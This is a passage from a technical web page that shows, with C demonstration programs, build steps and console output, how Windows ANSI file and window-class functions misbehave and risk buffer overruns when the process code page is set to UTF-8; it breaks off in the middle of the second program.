CP_ACP equates to CP_UTF8 only if running on Windows Version 1903 (May 2019 Update) or above and the ActiveCodePage property described above is set to UTF-8. Otherwise, it honors the legacy system code page. We recommend using CP_UTF8 explicitly.

Caveat: here character means CHAR alias char alias byte, not Unicode code point!

Since in UTF-8 encoding a code point requires 1 to 4 code units alias characters, configuring the ANSI code page for UTF-8 can actually break existing code!

Note: in UTF-16 encoding a code point requires 1 or 2 code units alias wide characters of 2 characters each; while code points which fit into 1 UTF-16 code unit require 1 to 3 UTF-8 code units of 1 character each, code points which require 2 UTF-16 code units, a high/low surrogate pair, require 4 UTF-8 code units, i.e. the latter require in both transformation formats the same number of characters alias bytes.

Demonstration

Perform the following 9 simple steps to prove the documentation cited above wrong and to show the (mis)behaviour plus the pitfalls.
  1. Create the text file quirk40.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define _CRT_SECURE_NO_WARNINGS
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    // Thai, Baht
    //	CP874	L"฿\\๐๑๒๓๔๕๖๗๘๙…"
    // Japanese, Yen
    //	CP932	L"¥\\〇一二三四五六七八九…"
    // Chinese, Yuan Renminbi
    //	CP936	L"元\\零一二三四五六七八九…"
    // Korean, Won
    //	CP949	L"₩\\…"
    // Traditional Chinese
    //	CP950	L"…\\…"
    // Central/Eastern Europe, Azerbaijani Manat
    //	CP1250	L"₼\\…"
    // Cyrillic, Russian Ruble
    //	CP1251	L"₽\\ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯёђѓєѕіїјљњћќѝўџабвгдежзийклмнопрстуфхцчшщъыьэюя…"
    // Western, Euro
    #define CP1252	L"€\\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ"
    // Greek, Drachma
    //	CP1253	L"₯\\ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩαβγδεζηθικλμνξοπρστυφχψω…"
    // Turkish, Lira
    //	CP1254	L"₻\\…"
    // Hebrew, New Shekel
    //	CP1255	L"₪\\אבגדהוזחטיךכלםמןנסעףפץצקרשת…"
    // Arabic, Iranian Rial
    //	CP1256	L"﷼\\٠١٢٣٤٥٦٧٨٩…"
    // Baltic, Euro
    //	CP1257	L"€\\…"
    // Vietnamese, Dong
    //	CP1258	L"₫\\空𠬠𠄩𠀧𦊚𠄼𦒹𦉱𠔭𠃩𨒒…"
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WIN32_FIND_DATAA	wfd;
    
    	DWORD	dwError = ERROR_SUCCESS;
    	CHAR	szEURO[4];
    #ifdef QUIRKS
    	CHAR	szANSI[MAX_PATH * 3];
    #else
    	CHAR	szANSI[MAX_PATH];
    #endif
    	WCHAR	szWide[MAX_PATH];
    	UINT	uiWide;
    	UINT	uiANSI;
    	HANDLE	hANSI;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		if (WideCharToMultiByte(CP_ACP,
    		                        WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
    		                        L"€", sizeof(L"€") / sizeof(L'€'),
    		                        szEURO, sizeof(szEURO),
    		                        (LPCCH) NULL, (LPBOOL) NULL) == 0)
    			PrintConsole(hConsole,
    			             L"WideCharToMultiByte() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    			if (!CreateDirectoryA(szEURO, (LPSECURITY_ATTRIBUTES) NULL))
    				PrintConsole(hConsole,
    				             L"CreateDirectoryA() returned error %lu for pathname \'%hs\'\n",
    				             dwError = GetLastError(), szEURO);
    			else
    			{
    				if (WideCharToMultiByte(CP_ACP,
    				                        WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
    				                        CP1252, sizeof(CP1252) / sizeof(*CP1252),
    				                        szANSI, sizeof(szANSI),
    				                        (LPCCH) NULL, (LPBOOL) NULL) == 0)
    				{
    					PrintConsole(hConsole,
    					             L"WideCharToMultiByte() returned error %lu for pathname \'%ls\' of %lu wide characters\n",
    					             dwError = GetLastError(), CP1252, wcslen(CP1252));
    
    					if (!CreateDirectoryW(CP1252, (LPSECURITY_ATTRIBUTES) NULL))
    						PrintConsole(hConsole,
    						             L"CreateDirectoryW() returned error %lu for pathname \'%ls\' of %lu wide characters\n",
    						             dwError = GetLastError(), CP1252, wcslen(CP1252));
    
    					wcscpy(szWide, L"€\\");
    
    					do
    						wcscat(szWide, L"€");
    					while (CreateDirectoryW(szWide, (LPSECURITY_ATTRIBUTES) NULL));
    
    					PrintConsole(hConsole,
    					             L"CreateDirectoryW() returned error %lu for pathname \'%ls\' of %lu wide characters\n",
    					             dwError = GetLastError(), szWide, wcslen(szWide));
    				}
    				else
    				{
    					if (!CreateDirectoryA(szANSI, (LPSECURITY_ATTRIBUTES) NULL))
    						PrintConsole(hConsole,
    						             L"CreateDirectoryA() returned error %lu for pathname \'%hs\' of %lu characters\n",
    						             dwError = GetLastError(), szANSI, strlen(szANSI));
    					else
    						if (GetTempFileNameA(szANSI, szEURO, 0, szANSI) == 0)
    							PrintConsole(hConsole,
    							             L"GetTempFileNameA() returned error %lu for pathname \'%hs\'\n",
    							             dwError = GetLastError(), szANSI);
    						else
    						{
    							PrintConsole(hConsole,
    							             L"GetTempFileNameA() returned pathname \'%hs\' of %lu characters\n",
    							             szANSI, strlen(szANSI));
    
    							if (!DeleteFileA(szANSI))
    								PrintConsole(hConsole,
    								             L"DeleteFileA() returned error %lu for pathname \'%hs\'\n",
    								             dwError = GetLastError(), szANSI);
    						}
    
    					strcpy(szANSI, szEURO);
    					strcat(szANSI, "\\");
    
    					do
    						strcat(szANSI, szEURO);
    					while (CreateDirectoryA(szANSI, (LPSECURITY_ATTRIBUTES) NULL));
    
    					PrintConsole(hConsole,
    					             L"CreateDirectoryA() returned error %lu for pathname \'%hs\' of %lu characters\n",
    					             dwError = GetLastError(), szANSI, strlen(szANSI));
    				}
    
    				uiANSI = WideCharToMultiByte(CP_ACP,
    				                             WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
    				                             CP1252, 4,
    				                             szANSI, sizeof(szANSI),
    				                             (LPCCH) NULL, (LPBOOL) NULL);
    
    				if (uiANSI == 0)
    					PrintConsole(hConsole,
    					             L"WideCharToMultiByte() returned error %lu for pathname \'%.4ls\' of 4 wide characters\n",
    					             dwError = GetLastError(), CP1252);
    				else
    				{
    					strcpy(szANSI + uiANSI, "*");
    
    					hANSI = FindFirstFileA(szANSI, &wfd);
    
    					if (hANSI == INVALID_HANDLE_VALUE)
    						PrintConsole(hConsole,
    						             L"FindFirstFileA() returned error %lu for pathname \'%hs\'\n",
    						             dwError = GetLastError(), szANSI);
    					else
    					{
    						while (FindNextFileA(hANSI, &wfd));
    
    						dwError = GetLastError();
    
    						if (dwError != ERROR_NO_MORE_FILES)
    							PrintConsole(hConsole,
    							             L"FindNextFileA() returned error %lu\n",
    							             dwError);
    					}
    				}
    
    				strcpy(szANSI, szEURO);
    				strcat(szANSI, "\\*");
    
    				hANSI = FindFirstFileA(szANSI, &wfd);
    
    				if (hANSI == INVALID_HANDLE_VALUE)
    					PrintConsole(hConsole,
    					             L"FindFirstFileA() returned error %lu for pathname \'%hs\'\n",
    					             dwError = GetLastError(), szANSI);
    				else
    				{
    					do
    					{
    						strcpy(szANSI, szEURO);
    						strcat(szANSI, "\\");
    						strcat(szANSI, wfd.cFileName);
    
    						if (!RemoveDirectoryA(szANSI))
    							PrintConsole(hConsole,
    							             L"RemoveDirectoryA() returned error %lu for pathname \'%hs\'\n",
    							             dwError = GetLastError(), szANSI);
    					} while (FindNextFileA(hANSI, &wfd));
    
    					dwError = GetLastError();
    
    					if (dwError == ERROR_MORE_DATA)
    					{
    						uiWide = MultiByteToWideChar(CP_ACP,
    						                             MB_ERR_INVALID_CHARS | MB_PRECOMPOSED,
    						                             szANSI, -1,
    						                             (LPWSTR) NULL, 0);
    
    						if (uiWide == 0)
    							PrintConsole(hConsole,
    							             L"MultiByteToWideChar() returned error %lu\n",
    							             dwError = GetLastError());
    
    						PrintConsole(hConsole,
    						             L"FindNextFileA() returned pathname \'%hs\' of %lu characters in %u code points\n",
    						             szANSI, strlen(szANSI), uiWide - 1);
    					}
    
    					if (dwError != ERROR_NO_MORE_FILES)
    						PrintConsole(hConsole,
    						             L"FindNextFileA() returned error %lu\n",
    						             dwError);
    					else
    						if (GetTempFileNameA(szANSI, szEURO, 0, szANSI) == 0)
    							PrintConsole(hConsole,
    							             L"GetTempFileNameA() returned error %lu for pathname \'%hs\'\n",
    							             dwError = GetLastError(), szANSI);
    						else
    						{
    							PrintConsole(hConsole,
    							             L"GetTempFileNameA() returned pathname \'%hs\' of %lu characters\n",
    							             szANSI, strlen(szANSI));
    
    							if (!DeleteFileA(szANSI))
    								PrintConsole(hConsole,
    								             L"DeleteFileA() returned error %lu for pathname \'%hs\'\n",
    								             dwError = GetLastError(), szANSI);
    						}
    
    					if (!FindClose(hANSI))
    						PrintConsole(hConsole,
    						             L"FindClose() returned error %lu\n",
    						             GetLastError());
    				}
    
    				if (!RemoveDirectoryA(szEURO))
    					PrintConsole(hConsole,
    					             L"RemoveDirectoryA() returned error %lu for pathname \'%hs\'\n",
    					             dwError = GetLastError(), szEURO);
    			}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk40.exe from the source file quirk40.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk40.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk40.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk40.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk40.exe
    quirk40.obj
  3. Execute the console application quirk40.exe built in step 2. to demonstrate the legacy behaviour:

    CHDIR
    .\quirk40.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    C:\Users\Stefan
    
    GetTempFileNameA() returned pathname '€\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\€20AC.tmp' of 135 characters
    CreateDirectoryA() returned error 206 for pathname '€\€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 232 characters
    RemoveDirectoryA() returned error 145 for pathname '€\.'
    RemoveDirectoryA() returned error 32 for pathname '€\..'
    FindNextFileA() returned pathname '€\€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 231 characters
    GetTempFileNameA() returned error 267 for pathname '€\€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€'
    
    0x10B (WIN32: 267 ERROR_DIRECTORY) -- 267 (267)
    Error message text: The directory name is invalid.
    CertUtil: -error command completed successfully.
    OUCH¹: contrary to the documentation cited above, the CreateDirectoryA() function accepts only 231 characters instead of 248 246 characters!

    OUCH²: although the directory name for the GetTempFileName() function is valid and not longer than MAX_PATH − 14 = 246 characters, it fails with Win32 error code 267 alias ERROR_DIRECTORY!

    Note: the first 3 error messages which show the Win32 error codes 206 alias ERROR_FILENAME_EXCED_RANGE, 145 alias ERROR_DIR_NOT_EMPTY and 32 alias ERROR_SHARING_VIOLATION are expected and normal behaviour!

  4. Create the text file quirk40.xml with the following content next to the console application quirk40.exe built in step 2.:

    <?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
    <!-- Copyright (C) 2004-2024, Stefan Kanthak -->
    <assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
        <assemblyIdentity name='Quirk40' processorArchitecture='*' type='win32' version='0.8.1.5' />
        <application xmlns='urn:schemas-microsoft-com:asm.v3'>
            <windowsSettings>
                <activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
            </windowsSettings>
        </application>
        <compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
            <application>
                <supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
            </application>
        </compatibility>
        <description>Quirk40 Console Application</description>
    </assembly>
    Note: the double use of an XML element named application is (at least) clumsy and error-prone!
  5. Embed the Application Manifest quirk40.xml created in step 4. in the console application quirk40.exe built in step 2.:

    MT.EXE /CANONICALIZE /MANIFEST quirk40.xml /OUTPUTRESOURCE:quirk40.exe
    Note: the Manifest Tool MT.exe is shipped with the Windows Software Development Kit.
    Microsoft (R) Manifest Tool version 6.1.7716.0
    Copyright (c) Microsoft Corporation 2009.
    All rights reserved.
  6. Execute the console application quirk40.exe configured in step 5. for the code page 65001 alias CP_UTF to demonstrate the (mis)behaviour:

    VER
    .\quirk40.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Microsoft Windows [Version 10.0.22621.1105]
    
    WideCharToMultiByte() returned error 122 for pathname '€\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ' of 125 characters
    CreateDirectoryW() returned error 206 for pathname '€\€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 232 wide characters
    FindFirstFileA() returned error 234 for pathname '€\€‚*'
    RemoveDirectoryA() returned error 145 for pathname '€\.'
    RemoveDirectoryA() returned error 32 for pathname '€\..'
    FindNextFileA() returned pathname '€\€' of 7 characters in 3 code points
    FindNextFileA() returned error 234
    RemoveDirectoryA() returned error 145 for pathname '€'
    
    0x91 (WIN32: 145 ERROR_DIR_NOT_EMPTY) -- 145 (145)
    Error message text: The directory name is invalid.
    CertUtil: -error command completed successfully.
    Note: the path name €\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ of 125 ANSI characters as well as 125 Unicode code points requires 266 code units alias characters in UTF-8 encoding and exceeds MAX_PATH = 260; its file or directory name of 123 ANSI characters requires 262 code units alias characters in UTF-8 encoding and exceeds MAX_PATH too.

    OUCH¹: the WideCharToMultiByte() function fails with Win32 error code 122 alias ERROR_INSUFFICIENT_BUFFER due to the 260 character limit!

    OUCH²: since its wildcard pattern €\€‚* matches the above path name, the FindFirstFile() function fails with Win32 error code 234 alias ERROR_MORE_DATA due to the 260 character limit imposed by the WIN32_FIND_DATAA data structure!

    OUCH³: since the wildcard pattern €\* matches the above path name, the FindNextFile() function too fails with Win32 error code 234 alias ERROR_MORE_DATA due to the 260 character limit imposed by the WIN32_FIND_DATAA data structure!

    OUCH⁴: contrary to the highlighted statement of the documentation cited above last, existing unchanged code exhibits multiple failures when code page 65001 alias CP_UTF8 is used – it fails to enumerate path names of more than 7 (in words: seven) ANSI characters respectively 3 (in words: three) Unicode code points, i.e. it misses all but the first of the total 229 subdirectories created in the directory and leaves this non-empty directory with 228 empty subdirectories behind!

    NOTE: not demonstrated here, existing unchanged code is susceptible to buffer overruns which are impossible with other (legacy) ANSI Code Pages where the Win32 functions FindFirstFile() and FindNextFile() return at most 255 characters in the WIN32_FIND_DATAA data structure; the concatenation of the 2 character directory name €\, a 2 character drive letter A: or a 3 character drive path name B:\ and the longest file name fits into a buffer of 260 characters (which is the reason why MAX_PATH is not defined as 256).

    CAVEAT: without the subdirectory €\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ in place, the FindNextFile() function enumerates the first MAX_PATH ÷ strlen(szEURO) = 260 ÷ 3 = 86 subdirectories and returns a file name of 86 × 3 = 258 characters in the WIN32_FIND_DATAA data structure before it fails with Win32 error code 234 alias ERROR_MORE_DATA; concatenation of the 4 character directory name €\ and this 258 character file name then overruns the buffer of 260 characters!

    Caveat: the buffer overrun also happens with the prefixes .\, C: and D:\; the only prefix which avoids it is \!

    Caveat: of course the FindFirstFile() function too can return a file name which causes a buffer overrun.

  7. Build the console application quirk40.exe a second time from the source file quirk40.c created in step 1., now with the preprocessor macro QUIRKS defined:

    CL.EXE /DQUIRKS quirk40.c
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk40.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk40.exe
    quirk40.obj
  8. Embed the Application Manifest quirk40.xml created in step 4. in the console application quirk40.exe built in step 7.:

    MT.EXE /CANONICALIZE /MANIFEST quirk40.xml /OUTPUTRESOURCE:quirk40.exe
    Note: the Manifest Tool MT.exe is shipped with the Windows Software Development Kit.
    Microsoft (R) Manifest Tool version 6.1.7716.0
    Copyright (c) Microsoft Corporation 2009.
    All rights reserved.
  9. Execute the console application quirk40.exe configured in step 5. for the code page 65001 alias CP_UTF to demonstrate the changed (mis)behaviour:

    VER
    .\quirk40.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Microsoft Windows [Version 10.0.22621.1105]
    
    GetTempFileNameA() returned error 234 for pathname '€\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùú'
    CreateDirectoryA() returned error 206 for pathname '€\€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€' of 694 characters
    FindFirstFileA() returned error 234 for pathname '€\€‚*'
    RemoveDirectoryA() returned error 145 for pathname '€\.'
    RemoveDirectoryA() returned error 32 for pathname '€\..'
    FindNextFileA() returned pathname '€\€' of 7 characters in 3 code points
    FindNextFileA() returned error 234
    RemoveDirectoryA() returned error 145 for pathname '€'
    
    0x91 (WIN32: 145 ERROR_DIR_NOT_EMPTY) -- 145 (145)
    Error message text: The directory name is invalid.
    CertUtil: -error command completed successfully.
    OOPS: on Windows 10 1903 and later versions, using the code page 65001 alias CP_UTF8, at least the CreateDirectoryA() function is not limited to MAX_PATH (minus some) characters any more, but supports MAX_PATH (minus some) code points, i.e. about MAX_PATH × 3 = 780 characters!

    OUCH¹: the GetTempFileNameA() function fails with Win32 error code 234 alias ERROR_MORE_DATA for a path name of 125 code points, truncating it to 120 code points in the output buffer!

    OUCH²: as before, the FindFirstFile() function fails with Win32 error code 234 alias ERROR_MORE_DATA due to the 260 character limit imposed by the WIN32_FIND_DATAA data structure!

    OUCH³: as before, the FindNextFile() function fails with Win32 error code 234 alias ERROR_MORE_DATA due to the 260 character limit imposed by the WIN32_FIND_DATAA data structure, after enumerating only 1 of 229 subdirectory names!

Note: the evaluation of this misbehaviour for example with the Greek characters ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩαβγδεζηθικλμνξοπρστυφχψω from code page 1253 or non-ASCII characters from other (legacy) Code Pages is left as an exercise to the reader.

Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 41

The Win32 functions GetClassNameA(), GetWindowTextA(), GetWindowTextLengthA() and RealGetWindowClassA() are documented in the MSDN as follows:
Retrieves the name of the class to which the specified window belongs.
int GetClassNameA(
  HWND  hWnd,
  LPSTR lpClassName,
  int   nMaxCount
);
[…]

hWnd

A handle to the window and, indirectly, the class to which the window belongs.

lpClassName

The class name string.

nMaxCount

The length of the lpClassName buffer, in characters. The buffer must be large enough to include the terminating null character; otherwise, the class name string is truncated to nMaxCount-1 characters.

[…]

If the function succeeds, the return value is the number of characters copied to the buffer, not including the terminating null character.

If the function fails, the return value is zero. To get extended error information, call GetLastError.

Copies the text of the specified window's title bar (if it has one) into a buffer. […]
int GetWindowTextA(
  HWND  hWnd,
  LPSTR lpString,
  int   nMaxCount
);
[…]

hWnd

A handle to the window or control containing the text.

lpString

The buffer that will receive the text. If the string is as long or longer than the buffer, the string is truncated and terminated with a null character.

nMaxCount

The maximum number of characters to copy to the buffer, including the null character. If the text exceeds this limit, it is truncated.

[…]

If the function succeeds, the return value is the length, in characters, of the copied string, not including the terminating null character. If the window has no title bar or text, if the title bar is empty, or if the window or control handle is invalid, the return value is zero. To get extended error information, call GetLastError.

Retrieves the length, in characters, of the specified window's title bar text (if the window has a title bar). […]
int GetWindowTextLengthA(
  HWND hWnd
);
[…]

hWnd

A handle to the window or control.

[…]

If the function succeeds, the return value is the length, in characters, of the text. […]

If the window has no text, the return value is zero.

Retrieves a string that specifies the window type.
UINT RealGetWindowClassW(
  HWND   hwnd,
  LPWSTR ptszClassName,
  UINT   cchClassNameMax
);
[…]

hwnd

A handle to the window whose type will be retrieved.

ptszClassName

A pointer to a string that receives the window type.

cchClassNameMax

The length, in characters, of the buffer pointed to by the pszType parameter.

[…]

If the function succeeds, the return value is the number of characters copied to the specified buffer.

If the function fails, the return value is zero. To get extended error information, call GetLastError.

Demonstration

Perform the following 6 simple steps to show the (mis)behaviour of the GetClassNameA() function with code page 65001 alias CP_UTF8.
  1. Create the text file quirk41.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    #define CLASS	L"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ"
    #define TITLE	L"€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›€‚„…†‡‰‹‘’“”•–—™›"
    
    LRESULT	WINAPI	WindowProc(HWND hWindow, UINT uMessage, WPARAM wParam, LPARAM lParam)
    {
    	if (uMessage == WM_DESTROY)
    		PostQuitMessage(0);
    
    	return DefWindowProcA(hWindow, uMessage, wParam, lParam);
    }
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WNDCLASSEXA	wce = {sizeof(wce),
    			       CS_DBLCLKS,
    			       WindowProc,
    			       0, 0,
    			       (HINSTANCE) &__ImageBase,
    			       (HICON) NULL,
    			       (HCURSOR) NULL,
    			       (HBRUSH) COLOR_BACKGROUND,
    			       (LPCSTR) NULL,
    			       (LPCSTR) NULL,
    			       (HICON) NULL};
    	ATOM	atom;
    	MSG	msg;
    	HWND	hWindow;
    	DWORD	dwError;
    	UINT	uiClass;
    	CHAR	szClass[256 * 3];
    	UINT	uiTitle;
    	CHAR	szTitle[256 * 3];
    	UINT	uiQuirk;
    	CHAR	szQuirk[256 * 3];
    	BOOL	bResult;
    	LRESULT lResult;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		uiClass = WideCharToMultiByte(CP_ACP,
    		                              WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
    		                              CLASS, sizeof(CLASS) / sizeof(*CLASS),
    		                              szClass, sizeof(szClass),
    		                              (LPCCH) NULL, (LPBOOL) NULL);
    
    		if (uiClass == 0)
    			PrintConsole(hConsole,
    			             L"WideCharToMultiByte() returned error %lu for class name \'%ls\' of %lu wide characters\n",
    			             dwError = GetLastError(), CLASS, wcslen(CLASS));
    		else
    		{
    			uiTitle = WideCharToMultiByte(CP_ACP,
